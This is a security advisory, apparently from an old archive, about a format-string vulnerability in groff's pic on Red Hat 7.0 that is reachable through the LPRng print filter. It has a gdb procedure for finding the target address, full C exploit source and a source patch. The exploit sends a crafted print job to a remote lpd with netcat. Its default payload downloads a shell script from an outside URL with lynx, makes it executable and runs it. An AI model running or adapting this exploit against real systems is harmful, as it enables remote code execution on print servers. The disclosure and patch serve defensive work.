COMMAND
pic (groff)
SYSTEMS AFFECTED
RH 7.0 (at least)
PROBLEM
zen-parse found following. pic is part of the groff package. It
is used by troff-to-ps.fpi as uid lp when perl, troff and LPRng
are installed.
The address given is not the exact address, but it works.
The offset given is (close enough to) the address for the version
of /usr/bin/pic from the rpm that comes redhat 7.0 (groff-1.16-7)
The method used to find the offset in your version of pic could
be something like this:
bash-2.04$ gdb -q /usr/bin/pic
(no debugging symbols found)...(gdb)
(gdb) break getopt
Breakpoint 1 at 0x8048e94
(gdb) display/i $eip
(gdb) r -S
Starting program: /usr/bin/pic -S
Breakpoint 1 at 0x4014d552: file getopt.c, line 987.
Breakpoint 1, getopt (argc=2, argv=0xbffffa84,
optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987
987 getopt.c: No such file or directory.
1: x/i $eip 0x4014d552 <getopt+18>: mov 0x10(%ebp),%ecx
(gdb)
(
type nexti a few (mebe a dozen or 2?) times until you see something like
movl $0x1,%ebx
in which case the next instruction contains safe_address, or
movl $0x1,0xsomeaddress
in which case safe_address is 0xsomeaddress
IE: It is the the address used by the first instructions
that assign a value of 1 to an address after the getopt() call.
)
1: x/i $eip 0x80523c2 <strcpy+37758>: mov $0x1,%ebx
(gdb)
0x80523c7 31 in ../sysdeps/generic/strcpy.c
1: x/i $eip 0x80523c7 <strcpy+37763>: mov %ebx,0x806feec
(gdb) q
In this case, the address is 0x0806feec, however you may need to
aim for just a little before that, due to what are probably
rounding errors in the conversion between int->float->int, and
using the least significant digits. This means: You may need to
play a little to get it working on your machine.
#include <stdio.h>
#define PICURL "http://crash.ihug.co.nz/~Sneuro/samplelpdscript.sh"
#error "http://mp3.com/cosv needs visiting"
#define SAFER_ADDRESS 0x0806feeb
#define QUEUE "lp"
FILE *pip;
char *payload(char *cmd,int safer);
char *eos(char *s)
{
return s+strlen(s);
}
output(char *s,char*addr,FILE*pip)
{
char v[]=
"Aroot@%s+666\n"
"CA\n"
"D2001-06-23-08:59:18.714\n"
"Hclarity.local\n"
"J/tmp/hack-attempt\n"
"Lroot\n"
"Proot\n"
"Qlp\n"
"N/tmp/sh.c\n"
"fdfA666%s\n"
"UdfA666%s\n";
char nv[1024];
fprintf(pip,"\x2"QUEUE"\n");
sprintf(nv,v,addr,addr,addr);
fprintf(pip,"\x2%d cfA666%s\n",strlen(nv),addr);
fprintf(pip,"%s",nv);
fflush(pip);
putc(0,pip);
fflush(pip);
fprintf(pip,"\x3%d dfA666%s\n",strlen(s),addr);
fprintf(pip,"%s",s);
fflush(pip);
putc(0,pip);
fflush(pip);
}
main(int argc,char *argv[])
{
int safer=SAFER_ADDRESS;
char pcmd[1024];
char *cmd=0;
char *addr=0;
char *evil=0;
if(argc==1)addr="-h";
if(!addr)addr=(char*)malloc(256);
if(argc>2)safer=(int)strtoul(argv[2],0,16);
if(argc>1)addr=argv[1];
if(argc>3)cmd=argv[3];
else
{
if(!cmd)cmd=(char*)malloc(512);
strcpy(cmd,
"export HOME=/tmp;/usr/bin/lynx -dump "PICURL
">/tmp/lpd.cmd.$$;chmod +x /tmp/lpd.cmd.$$;/tmp/lpd.cmd.$$");
}
if(!*addr)addr=(char*)malloc(256);
if(!strcmp(addr,"-h"))
{
printf("%s ip-address safer-address 'commands in quotes'\n",argv[0]);
exit(1);
}
evil=payload(cmd,safer);
sprintf(pcmd,"nc %s 515",addr);
pip=popen(pcmd,"w");
output(evil,addr,pip);
if(pclose(pip))
{
printf("It might not've worked.\nThe command returned a funny value.\n");
printf("check you have netcat (nc) in your path.\n");
exit(1);
}
}
char *payload(char *cmd,int safer)
{
char *retstr;
char *tmp;
retstr=(char*)malloc(4096);
sprintf(retstr,".PS\n");
// %f is 8 bytes long the two values are \\
// needed. the value was just the first one \\
// that I had in there... it it ain't broke... \\
tmp=eos(retstr);
sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08);
tmp=eos(retstr);
sprintf(tmp,"sh X%sX\n",cmd);
tmp=eos(retstr);
sprintf(tmp,".PE\n");
tmp=eos(retstr);
sprintf(tmp,"This is the way we hack the printer,\n");
tmp=eos(retstr);
sprintf(tmp,"Hack the printer, hack the printer.\n");
tmp=eos(retstr);
sprintf(tmp,"This is the way we hack the printer,\n");
tmp=eos(retstr);
sprintf(tmp,"when they are running a vulnerable version\n");
tmp=eos(retstr);
sprintf(tmp,"of groff.\n");
tmp=eos(retstr);
return retstr;
}
SOLUTION
Patch:
--- groff-1.16.1.orig/src/preproc/pic/pic.y Wed May 31 16:18:51 2000
+++ groff-1.16.1/src/preproc/pic/pic.y Thu Jul 5 11:25:17 2001
@@ -1745,23 +1745,7 @@
{
if (form == 0)
form = "%g";
- else {
- // this is a fairly feeble attempt at validation of the format
- int nspecs = 0;
- for (const char *p = form; *p != '\0'; p++)
- if (*p == '%') {
- if (p[1] == '%')
- p++;
- else
- nspecs++;
- }
- if (nspecs > 1) {
- lex_error("bad format `%1'", form);
- return strsave(form);
- }
- }
- sprintf(sprintf_buf, form, n);
- return strsave(sprintf_buf);
+ return do_sprintf(form, &n, 1);
}
char *do_sprintf(const char *form, const double *v, int nv)
@@ -1783,18 +1767,18 @@
if (*form == '%') {
one_format += *form++;
one_format += '\0';
- sprintf(sprintf_buf, one_format.contents());
+ snprintf(sprintf_buf, sizeof(sprintf_buf), "%s", one_format.contents());
}
else {
if (i >= nv) {
- lex_error("too few arguments to sprintf");
+ lex_error("too few arguments to snprintf");
result += one_format;
result += form;
break;
}
one_format += *form++;
one_format += '\0';
- sprintf(sprintf_buf, one_format.contents(), v[i++]);
+ snprintf(sprintf_buf, sizeof(sprintf_buf), one_format.contents(), v[i++]);
}
one_format.clear();
result += sprintf_buf;
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